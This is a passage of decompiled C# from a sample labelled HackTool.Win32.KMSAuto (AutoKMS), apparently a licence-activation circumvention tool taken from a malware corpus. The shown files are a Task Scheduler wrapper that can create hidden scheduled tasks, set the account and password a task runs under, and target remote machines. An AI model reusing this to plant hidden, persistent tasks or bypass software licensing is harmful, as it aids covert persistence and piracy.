||||
public Scheduler() => this.tasks = new TaskList();
|
||||
|
||||
public Scheduler(string computer)
|
||||
{
|
||||
this.tasks = new TaskList();
|
||||
this.TargetComputer = computer;
|
||||
}
|
||||
|
||||
public string TargetComputer
|
||||
{
|
||||
get => this.tasks.TargetComputer;
|
||||
set => this.tasks.TargetComputer = value;
|
||||
}
|
||||
|
||||
public TaskList Tasks => this.tasks;
|
||||
}
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.StartableTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public abstract class StartableTrigger : Trigger
|
||||
{
|
||||
internal StartableTrigger()
|
||||
{
|
||||
}
|
||||
|
||||
internal StartableTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
protected void SetStartTime(ushort hour, ushort minute)
|
||||
{
|
||||
this.StartHour = (short) hour;
|
||||
this.StartMinute = (short) minute;
|
||||
}
|
||||
|
||||
public short StartHour
|
||||
{
|
||||
get => (short) this.taskTrigger.StartHour;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.StartHour = value >= (short) 0 && value <= (short) 23 ? (ushort) value : throw new ArgumentOutOfRangeException("hour", (object) value, "hour must be between 0 and 23");
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public short StartMinute
|
||||
{
|
||||
get => (short) this.taskTrigger.StartMinute;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.StartMinute = value >= (short) 0 && value <= (short) 59 ? (ushort) value : throw new ArgumentOutOfRangeException("minute", (object) value, "minute must be between 0 and 59");
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+458
@@ -0,0 +1,458 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.Task
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using System.Runtime.Serialization.Formatters.Binary;
|
||||
using System.Security;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class Task : IDisposable
|
||||
{
|
||||
private ITask iTask;
|
||||
private string name;
|
||||
private TriggerList triggers;
|
||||
|
||||
internal Task(ITask iTask, string taskName)
|
||||
{
|
||||
this.iTask = iTask;
|
||||
this.name = !taskName.EndsWith(".job") ? taskName : taskName.Substring(0, taskName.Length - 4);
|
||||
this.triggers = (TriggerList) null;
|
||||
this.Hidden = this.GetHiddenFileAttr();
|
||||
}
|
||||
|
||||
public string Name => this.name;
|
||||
|
||||
public TriggerList Triggers
|
||||
{
|
||||
get
|
||||
{
|
||||
if (this.triggers == null)
|
||||
this.triggers = new TriggerList(this.iTask);
|
||||
return this.triggers;
|
||||
}
|
||||
}
|
||||
|
||||
public string ApplicationName
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr ApplicationName;
|
||||
this.iTask.GetApplicationName(out ApplicationName);
|
||||
return CoTaskMem.LPWStrToString(ApplicationName);
|
||||
}
|
||||
set => this.iTask.SetApplicationName(value);
|
||||
}
|
||||
|
||||
public string AccountName
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr AccountName = IntPtr.Zero;
|
||||
this.iTask.GetAccountInformation(out AccountName);
|
||||
return CoTaskMem.LPWStrToString(AccountName);
|
||||
}
|
||||
}
|
||||
|
||||
public string Comment
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr Comment;
|
||||
this.iTask.GetComment(out Comment);
|
||||
return CoTaskMem.LPWStrToString(Comment);
|
||||
}
|
||||
set => this.iTask.SetComment(value);
|
||||
}
|
||||
|
||||
public string Creator
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr Creator;
|
||||
this.iTask.GetCreator(out Creator);
|
||||
return CoTaskMem.LPWStrToString(Creator);
|
||||
}
|
||||
set => this.iTask.SetCreator(value);
|
||||
}
|
||||
|
||||
private short ErrorRetryCount
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort RetryCount;
|
||||
this.iTask.GetErrorRetryCount(out RetryCount);
|
||||
return (short) RetryCount;
|
||||
}
|
||||
set => this.iTask.SetErrorRetryCount((ushort) value);
|
||||
}
|
||||
|
||||
private short ErrorRetryInterval
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort RetryInterval;
|
||||
this.iTask.GetErrorRetryInterval(out RetryInterval);
|
||||
return (short) RetryInterval;
|
||||
}
|
||||
set => this.iTask.SetErrorRetryInterval((ushort) value);
|
||||
}
|
||||
|
||||
public int ExitCode
|
||||
{
|
||||
get
|
||||
{
|
||||
uint ExitCode = 0;
|
||||
this.iTask.GetExitCode(out ExitCode);
|
||||
return (int) ExitCode;
|
||||
}
|
||||
}
|
||||
|
||||
public TaskFlags Flags
|
||||
{
|
||||
get
|
||||
{
|
||||
uint Flags;
|
||||
this.iTask.GetFlags(out Flags);
|
||||
return (TaskFlags) Flags;
|
||||
}
|
||||
set => this.iTask.SetFlags((uint) value);
|
||||
}
|
||||
|
||||
public short IdleWaitMinutes
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort IdleMinutes;
|
||||
this.iTask.GetIdleWait(out IdleMinutes, out ushort _);
|
||||
return (short) IdleMinutes;
|
||||
}
|
||||
set
|
||||
{
|
||||
ushort waitDeadlineMinutes = (ushort) this.IdleWaitDeadlineMinutes;
|
||||
this.iTask.SetIdleWait((ushort) value, waitDeadlineMinutes);
|
||||
}
|
||||
}
|
||||
|
||||
public short IdleWaitDeadlineMinutes
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort DeadlineMinutes;
|
||||
this.iTask.GetIdleWait(out ushort _, out DeadlineMinutes);
|
||||
return (short) DeadlineMinutes;
|
||||
}
|
||||
set => this.iTask.SetIdleWait((ushort) this.IdleWaitMinutes, (ushort) value);
|
||||
}
|
||||
|
||||
public TimeSpan MaxRunTime
|
||||
{
|
||||
get
|
||||
{
|
||||
uint MaxRunTimeMS;
|
||||
this.iTask.GetMaxRunTime(out MaxRunTimeMS);
|
||||
return new TimeSpan((long) MaxRunTimeMS * 10000L);
|
||||
}
|
||||
set
|
||||
{
|
||||
double totalMilliseconds = value.TotalMilliseconds;
|
||||
if (totalMilliseconds >= (double) uint.MaxValue)
|
||||
this.iTask.SetMaxRunTime(uint.MaxValue);
|
||||
else
|
||||
this.iTask.SetMaxRunTime((uint) totalMilliseconds);
|
||||
}
|
||||
}
|
||||
|
||||
public bool MaxRunTimeLimited
|
||||
{
|
||||
get
|
||||
{
|
||||
uint MaxRunTimeMS;
|
||||
this.iTask.GetMaxRunTime(out MaxRunTimeMS);
|
||||
return MaxRunTimeMS == uint.MaxValue;
|
||||
}
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
{
|
||||
uint MaxRunTimeMS;
|
||||
this.iTask.GetMaxRunTime(out MaxRunTimeMS);
|
||||
if (MaxRunTimeMS != uint.MaxValue)
|
||||
return;
|
||||
this.iTask.SetMaxRunTime(25920000U);
|
||||
}
|
||||
else
|
||||
this.iTask.SetMaxRunTime(uint.MaxValue);
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime MostRecentRunTime
|
||||
{
|
||||
get
|
||||
{
|
||||
SystemTime LastRun = new SystemTime();
|
||||
this.iTask.GetMostRecentRunTime(ref LastRun);
|
||||
return LastRun.Year == (ushort) 0 ? DateTime.MinValue : new DateTime((int) LastRun.Year, (int) LastRun.Month, (int) LastRun.Day, (int) LastRun.Hour, (int) LastRun.Minute, (int) LastRun.Second, (int) LastRun.Milliseconds);
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime NextRunTime
|
||||
{
|
||||
get
|
||||
{
|
||||
SystemTime NextRun = new SystemTime();
|
||||
this.iTask.GetNextRunTime(ref NextRun);
|
||||
return NextRun.Year == (ushort) 0 ? DateTime.MinValue : new DateTime((int) NextRun.Year, (int) NextRun.Month, (int) NextRun.Day, (int) NextRun.Hour, (int) NextRun.Minute, (int) NextRun.Second, (int) NextRun.Milliseconds);
|
||||
}
|
||||
}
|
||||
|
||||
public string Parameters
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr Parameters;
|
||||
this.iTask.GetParameters(out Parameters);
|
||||
return CoTaskMem.LPWStrToString(Parameters);
|
||||
}
|
||||
set => this.iTask.SetParameters(value);
|
||||
}
|
||||
|
||||
public ProcessPriorityClass Priority
|
||||
{
|
||||
get
|
||||
{
|
||||
uint Priority;
|
||||
this.iTask.GetPriority(out Priority);
|
||||
return (ProcessPriorityClass) Priority;
|
||||
}
|
||||
set
|
||||
{
|
||||
if (value == ProcessPriorityClass.AboveNormal || value == ProcessPriorityClass.BelowNormal)
|
||||
throw new ArgumentException("Unsupported Priority Level");
|
||||
this.iTask.SetPriority((uint) value);
|
||||
}
|
||||
}
|
||||
|
||||
public TaskStatus Status
|
||||
{
|
||||
get
|
||||
{
|
||||
int Status;
|
||||
this.iTask.GetStatus(out Status);
|
||||
return (TaskStatus) Status;
|
||||
}
|
||||
}
|
||||
|
||||
private int FlagsEx
|
||||
{
|
||||
get
|
||||
{
|
||||
uint Flags;
|
||||
this.iTask.GetTaskFlags(out Flags);
|
||||
return (int) Flags;
|
||||
}
|
||||
set => this.iTask.SetTaskFlags((uint) value);
|
||||
}
|
||||
|
||||
public string WorkingDirectory
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr WorkingDirectory;
|
||||
this.iTask.GetWorkingDirectory(out WorkingDirectory);
|
||||
return CoTaskMem.LPWStrToString(WorkingDirectory);
|
||||
}
|
||||
set => this.iTask.SetWorkingDirectory(value);
|
||||
}
|
||||
|
||||
public bool Hidden
|
||||
{
|
||||
get => (this.Flags & TaskFlags.Hidden) != (TaskFlags) 0;
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
this.Flags |= TaskFlags.Hidden;
|
||||
else
|
||||
this.Flags &= ~TaskFlags.Hidden;
|
||||
}
|
||||
}
|
||||
|
||||
public object Tag
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort DataLen;
|
||||
IntPtr Data;
|
||||
this.iTask.GetWorkItemData(out DataLen, out Data);
|
||||
byte[] numArray = new byte[(int) DataLen];
|
||||
Marshal.Copy(Data, numArray, 0, (int) DataLen);
|
||||
return new BinaryFormatter().Deserialize((Stream) new MemoryStream(numArray, false));
|
||||
}
|
||||
set
|
||||
{
|
||||
if (!value.GetType().IsSerializable)
|
||||
throw new ArgumentException("Objects set as Data for Tasks must be serializable", nameof (value));
|
||||
BinaryFormatter binaryFormatter = new BinaryFormatter();
|
||||
MemoryStream serializationStream = new MemoryStream();
|
||||
binaryFormatter.Serialize((Stream) serializationStream, value);
|
||||
this.iTask.SetWorkItemData((ushort) serializationStream.Length, serializationStream.GetBuffer());
|
||||
}
|
||||
}
|
||||
|
||||
private void SetHiddenFileAttr(bool set)
|
||||
{
|
||||
string ppszFileName;
|
||||
((IPersistFile) this.iTask).GetCurFile(out ppszFileName);
|
||||
FileAttributes attributes = File.GetAttributes(ppszFileName);
|
||||
FileAttributes fileAttributes = !set ? attributes & ~FileAttributes.Hidden : attributes | FileAttributes.Hidden;
|
||||
File.SetAttributes(ppszFileName, fileAttributes);
|
||||
}
|
||||
|
||||
private bool GetHiddenFileAttr()
|
||||
{
|
||||
string ppszFileName;
|
||||
((IPersistFile) this.iTask).GetCurFile(out ppszFileName);
|
||||
try
|
||||
{
|
||||
return (File.GetAttributes(ppszFileName) & FileAttributes.Hidden) != (FileAttributes) 0;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime NextRunTimeAfter(DateTime after)
|
||||
{
|
||||
after = after.AddSeconds(1.0);
|
||||
SystemTime Begin = new SystemTime();
|
||||
Begin.Year = (ushort) after.Year;
|
||||
Begin.Month = (ushort) after.Month;
|
||||
Begin.Day = (ushort) after.Day;
|
||||
Begin.DayOfWeek = (ushort) after.DayOfWeek;
|
||||
Begin.Hour = (ushort) after.Hour;
|
||||
Begin.Minute = (ushort) after.Minute;
|
||||
Begin.Second = (ushort) after.Second;
|
||||
SystemTime systemTime1 = new SystemTime();
|
||||
SystemTime End = Begin with
|
||||
{
|
||||
Year = (ushort) DateTime.MaxValue.Year,
|
||||
Month = 1
|
||||
};
|
||||
ushort Count = 1;
|
||||
IntPtr TaskTimes;
|
||||
this.iTask.GetRunTimes(ref Begin, ref End, ref Count, out TaskTimes);
|
||||
if (Count != (ushort) 1)
|
||||
return DateTime.MinValue;
|
||||
SystemTime systemTime2 = new SystemTime();
|
||||
SystemTime structure = (SystemTime) Marshal.PtrToStructure(TaskTimes, typeof (SystemTime));
|
||||
Marshal.FreeCoTaskMem(TaskTimes);
|
||||
return new DateTime((int) structure.Year, (int) structure.Month, (int) structure.Day, (int) structure.Hour, (int) structure.Minute, (int) structure.Second);
|
||||
}
|
||||
|
||||
public void Run() => this.iTask.Run();
|
||||
|
||||
public void Save()
|
||||
{
|
||||
((IPersistFile) this.iTask).Save((string) null, false);
|
||||
this.SetHiddenFileAttr(this.Hidden);
|
||||
}
|
||||
|
||||
public void Save(string name)
|
||||
{
|
||||
IPersistFile iTask = (IPersistFile) this.iTask;
|
||||
string ppszFileName;
|
||||
iTask.GetCurFile(out ppszFileName);
|
||||
string pszFileName = Path.GetDirectoryName(ppszFileName) + (object) Path.DirectorySeparatorChar + name + Path.GetExtension(ppszFileName);
|
||||
iTask.Save(pszFileName, true);
|
||||
iTask.SaveCompleted(pszFileName);
|
||||
this.name = name;
|
||||
this.SetHiddenFileAttr(this.Hidden);
|
||||
}
|
||||
|
||||
public void Close()
|
||||
{
|
||||
if (this.triggers != null)
|
||||
this.triggers.Dispose();
|
||||
Marshal.ReleaseComObject((object) this.iTask);
|
||||
this.iTask = (ITask) null;
|
||||
}
|
||||
|
||||
public void DisplayForEdit() => this.iTask.EditWorkItem(0U, 0U);
|
||||
|
||||
public bool DisplayPropertySheet() => this.DisplayPropertySheet(Task.PropPages.Task | Task.PropPages.Schedule | Task.PropPages.Settings);
|
||||
|
||||
public bool DisplayPropertySheet(Task.PropPages pages)
|
||||
{
|
||||
PropSheetHeader psh = new PropSheetHeader();
|
||||
IProvideTaskPage iTask = (IProvideTaskPage) this.iTask;
|
||||
IntPtr[] numArray = new IntPtr[3];
|
||||
int num1 = 0;
|
||||
IntPtr phPage;
|
||||
if ((pages & Task.PropPages.Task) != (Task.PropPages) 0)
|
||||
{
|
||||
iTask.GetPage(0, false, out phPage);
|
||||
numArray[num1++] = phPage;
|
||||
}
|
||||
if ((pages & Task.PropPages.Schedule) != (Task.PropPages) 0)
|
||||
{
|
||||
iTask.GetPage(1, false, out phPage);
|
||||
numArray[num1++] = phPage;
|
||||
}
|
||||
if ((pages & Task.PropPages.Settings) != (Task.PropPages) 0)
|
||||
{
|
||||
iTask.GetPage(2, false, out phPage);
|
||||
numArray[num1++] = phPage;
|
||||
}
|
||||
if (num1 == 0)
|
||||
throw new ArgumentException("No Property Pages to display");
|
||||
psh.dwSize = (uint) Marshal.SizeOf((object) psh);
|
||||
psh.dwFlags = 128U;
|
||||
psh.pszCaption = this.Name;
|
||||
psh.nPages = (uint) num1;
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) numArray, GCHandleType.Pinned);
|
||||
psh.phpage = gcHandle.AddrOfPinnedObject();
|
||||
int num2 = PropertySheetDisplay.PropertySheet(ref psh);
|
||||
gcHandle.Free();
|
||||
if (num2 < 0)
|
||||
throw new Exception("Property Sheet failed to display");
|
||||
return num2 > 0;
|
||||
}
|
||||
|
||||
public void SetAccountInformation(string accountName, string password)
|
||||
{
|
||||
IntPtr coTaskMemUni = Marshal.StringToCoTaskMemUni(password);
|
||||
this.iTask.SetAccountInformation(accountName, coTaskMemUni);
|
||||
Marshal.FreeCoTaskMem(coTaskMemUni);
|
||||
}
|
||||
|
||||
public void SetAccountInformation(string accountName, SecureString password)
|
||||
{
|
||||
IntPtr coTaskMemUnicode = Marshal.SecureStringToCoTaskMemUnicode(password);
|
||||
this.iTask.SetAccountInformation(accountName, coTaskMemUnicode);
|
||||
Marshal.ZeroFreeCoTaskMemUnicode(coTaskMemUnicode);
|
||||
}
|
||||
|
||||
public void Terminate() => this.iTask.Terminate();
|
||||
|
||||
public override string ToString() => string.Format("{0} (\"{1}\" {2})", (object) this.name, (object) this.ApplicationName, (object) this.Parameters);
|
||||
|
||||
public void Dispose() => this.Close();
|
||||
|
||||
[System.Flags]
|
||||
public enum PropPages
|
||||
{
|
||||
Task = 1,
|
||||
Schedule = 2,
|
||||
Settings = 4,
|
||||
}
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TaskFlags
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
[Flags]
|
||||
public enum TaskFlags
|
||||
{
|
||||
Interactive = 1,
|
||||
DeleteWhenDone = 2,
|
||||
Disabled = 4,
|
||||
StartOnlyIfIdle = 16, // 0x00000010
|
||||
KillOnIdleEnd = 32, // 0x00000020
|
||||
DontStartIfOnBatteries = 64, // 0x00000040
|
||||
KillIfGoingOnBatteries = 128, // 0x00000080
|
||||
RunOnlyIfDocked = 256, // 0x00000100
|
||||
Hidden = 512, // 0x00000200
|
||||
RunIfConnectedToInternet = 1024, // 0x00000400
|
||||
RestartOnIdleResume = 2048, // 0x00000800
|
||||
SystemRequired = 4096, // 0x00001000
|
||||
RunOnlyIfLoggedOn = 8192, // 0x00002000
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TaskList
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class TaskList : IEnumerable, IDisposable
|
||||
{
|
||||
private ScheduledTasks st;
|
||||
private string nameComputer;
|
||||
|
||||
internal TaskList() => this.st = new ScheduledTasks();
|
||||
|
||||
internal TaskList(string computer) => this.st = new ScheduledTasks(computer);
|
||||
|
||||
internal string TargetComputer
|
||||
{
|
||||
get => this.nameComputer;
|
||||
set
|
||||
{
|
||||
this.st.Dispose();
|
||||
this.st = new ScheduledTasks(value);
|
||||
this.nameComputer = value;
|
||||
}
|
||||
}
|
||||
|
||||
public Task NewTask(string name) => this.st.CreateTask(name);
|
||||
|
||||
public void Delete(string name) => this.st.DeleteTask(name);
|
||||
|
||||
public Task this[string name] => this.st.OpenTask(name);
|
||||
|
||||
public IEnumerator GetEnumerator() => (IEnumerator) new TaskList.Enumerator(this.st);
|
||||
|
||||
public void Dispose() => this.st.Dispose();
|
||||
|
||||
private class Enumerator : IEnumerator
|
||||
{
|
||||
private ScheduledTasks outer;
|
||||
private string[] nameTask;
|
||||
private int curIndex;
|
||||
private Task curTask;
|
||||
|
||||
internal Enumerator(ScheduledTasks st)
|
||||
{
|
||||
this.outer = st;
|
||||
this.nameTask = st.GetTaskNames();
|
||||
this.Reset();
|
||||
}
|
||||
|
||||
public bool MoveNext()
|
||||
{
|
||||
bool flag = ++this.curIndex < this.nameTask.Length;
|
||||
if (flag)
|
||||
this.curTask = this.outer.OpenTask(this.nameTask[this.curIndex]);
|
||||
return flag;
|
||||
}
|
||||
|
||||
public void Reset()
|
||||
{
|
||||
this.curIndex = -1;
|
||||
this.curTask = (Task) null;
|
||||
}
|
||||
|
||||
public object Current => (object) this.curTask;
|
||||
}
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TaskStatus
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public enum TaskStatus
|
||||
{
|
||||
Ready = 267008, // 0x00041300
|
||||
Running = 267009, // 0x00041301
|
||||
Disabled = 267010, // 0x00041302
|
||||
NeverRun = 267011, // 0x00041303
|
||||
NoMoreRuns = 267012, // 0x00041304
|
||||
NotScheduled = 267013, // 0x00041305
|
||||
Terminated = 267014, // 0x00041306
|
||||
NoTriggers = 267015, // 0x00041307
|
||||
NoTriggerTime = 267016, // 0x00041308
|
||||
}
|
||||
}
|
||||
+208
@@ -0,0 +1,208 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.Trigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public abstract class Trigger : ICloneable
|
||||
{
|
||||
private ITaskTrigger iTaskTrigger;
|
||||
internal TaskTrigger taskTrigger;
|
||||
|
||||
internal Trigger()
|
||||
{
|
||||
this.iTaskTrigger = (ITaskTrigger) null;
|
||||
this.taskTrigger = new TaskTrigger();
|
||||
this.taskTrigger.TriggerSize = (ushort) Marshal.SizeOf((object) this.taskTrigger);
|
||||
this.taskTrigger.BeginYear = (ushort) DateTime.Today.Year;
|
||||
this.taskTrigger.BeginMonth = (ushort) DateTime.Today.Month;
|
||||
this.taskTrigger.BeginDay = (ushort) DateTime.Today.Day;
|
||||
}
|
||||
|
||||
internal Trigger(ITaskTrigger iTrigger)
|
||||
{
|
||||
if (iTrigger == null)
|
||||
throw new ArgumentNullException(nameof (iTrigger), "ITaskTrigger instance cannot be null");
|
||||
this.taskTrigger = new TaskTrigger();
|
||||
this.taskTrigger.TriggerSize = (ushort) Marshal.SizeOf((object) this.taskTrigger);
|
||||
iTrigger.GetTrigger(ref this.taskTrigger);
|
||||
this.iTaskTrigger = iTrigger;
|
||||
}
|
||||
|
||||
public object Clone()
|
||||
{
|
||||
Trigger trigger = (Trigger) this.MemberwiseClone();
|
||||
trigger.iTaskTrigger = (ITaskTrigger) null;
|
||||
return (object) trigger;
|
||||
}
|
||||
|
||||
internal bool Bound => this.iTaskTrigger != null;
|
||||
|
||||
public DateTime BeginDate
|
||||
{
|
||||
get => new DateTime((int) this.taskTrigger.BeginYear, (int) this.taskTrigger.BeginMonth, (int) this.taskTrigger.BeginDay);
|
||||
set
|
||||
{
|
||||
this.taskTrigger.BeginYear = (ushort) value.Year;
|
||||
this.taskTrigger.BeginMonth = (ushort) value.Month;
|
||||
this.taskTrigger.BeginDay = (ushort) value.Day;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public bool HasEndDate
|
||||
{
|
||||
get => ((int) this.taskTrigger.Flags & 1) == 1;
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
throw new ArgumentException("HasEndDate can only be set false");
|
||||
this.taskTrigger.Flags &= 4294967294U;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime EndDate
|
||||
{
|
||||
get => this.taskTrigger.EndYear == (ushort) 0 ? DateTime.MinValue : new DateTime((int) this.taskTrigger.EndYear, (int) this.taskTrigger.EndMonth, (int) this.taskTrigger.EndDay);
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Flags |= 1U;
|
||||
this.taskTrigger.EndYear = (ushort) value.Year;
|
||||
this.taskTrigger.EndMonth = (ushort) value.Month;
|
||||
this.taskTrigger.EndDay = (ushort) value.Day;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public int DurationMinutes
|
||||
{
|
||||
get => (int) this.taskTrigger.MinutesDuration;
|
||||
set
|
||||
{
|
||||
if ((long) value < (long) this.taskTrigger.MinutesInterval)
|
||||
throw new ArgumentOutOfRangeException(nameof (DurationMinutes), (object) value, "DurationMinutes must be greater than or equal the IntervalMinutes value");
|
||||
this.taskTrigger.MinutesDuration = (uint) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public int IntervalMinutes
|
||||
{
|
||||
get => (int) this.taskTrigger.MinutesInterval;
|
||||
set
|
||||
{
|
||||
if ((long) value > (long) this.taskTrigger.MinutesDuration)
|
||||
throw new ArgumentOutOfRangeException(nameof (IntervalMinutes), (object) value, "IntervalMinutes must be less than or equal the DurationMinutes value");
|
||||
this.taskTrigger.MinutesInterval = (uint) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public bool KillAtDurationEnd
|
||||
{
|
||||
get => ((int) this.taskTrigger.Flags & 2) == 2;
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
this.taskTrigger.Flags |= 2U;
|
||||
else
|
||||
this.taskTrigger.Flags &= 4294967293U;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public bool Disabled
|
||||
{
|
||||
get => ((int) this.taskTrigger.Flags & 4) == 4;
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
this.taskTrigger.Flags |= 4U;
|
||||
else
|
||||
this.taskTrigger.Flags &= 4294967291U;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
internal static Trigger CreateTrigger(ITaskTrigger iTaskTrigger)
|
||||
{
|
||||
if (iTaskTrigger == null)
|
||||
throw new ArgumentNullException(nameof (iTaskTrigger), "Instance of ITaskTrigger cannot be null");
|
||||
TaskTrigger Trigger = new TaskTrigger();
|
||||
Trigger.TriggerSize = (ushort) Marshal.SizeOf((object) Trigger);
|
||||
iTaskTrigger.GetTrigger(ref Trigger);
|
||||
switch (Trigger.Type)
|
||||
{
|
||||
case TaskTriggerType.TIME_TRIGGER_ONCE:
|
||||
return (Trigger) new RunOnceTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.TIME_TRIGGER_DAILY:
|
||||
return (Trigger) new DailyTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.TIME_TRIGGER_WEEKLY:
|
||||
return (Trigger) new WeeklyTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.TIME_TRIGGER_MONTHLYDATE:
|
||||
return (Trigger) new MonthlyTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.TIME_TRIGGER_MONTHLYDOW:
|
||||
return (Trigger) new MonthlyDOWTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.EVENT_TRIGGER_ON_IDLE:
|
||||
return (Trigger) new OnIdleTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.EVENT_TRIGGER_AT_SYSTEMSTART:
|
||||
return (Trigger) new OnSystemStartTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.EVENT_TRIGGER_AT_LOGON:
|
||||
return (Trigger) new OnLogonTrigger(iTaskTrigger);
|
||||
default:
|
||||
throw new ArgumentException("Unable to recognize type of trigger referenced in iTaskTrigger", nameof (iTaskTrigger));
|
||||
}
|
||||
}
|
||||
|
||||
protected void SyncTrigger()
|
||||
{
|
||||
if (this.iTaskTrigger == null)
|
||||
return;
|
||||
this.iTaskTrigger.SetTrigger(ref this.taskTrigger);
|
||||
}
|
||||
|
||||
internal void Bind(ITaskTrigger iTaskTrigger)
|
||||
{
|
||||
this.iTaskTrigger = this.iTaskTrigger == null ? iTaskTrigger : throw new ArgumentException("Attempt to bind an already bound trigger");
|
||||
iTaskTrigger.SetTrigger(ref this.taskTrigger);
|
||||
}
|
||||
|
||||
internal void Bind(Trigger trigger) => this.Bind(trigger.iTaskTrigger);
|
||||
|
||||
internal void Unbind()
|
||||
{
|
||||
if (this.iTaskTrigger == null)
|
||||
return;
|
||||
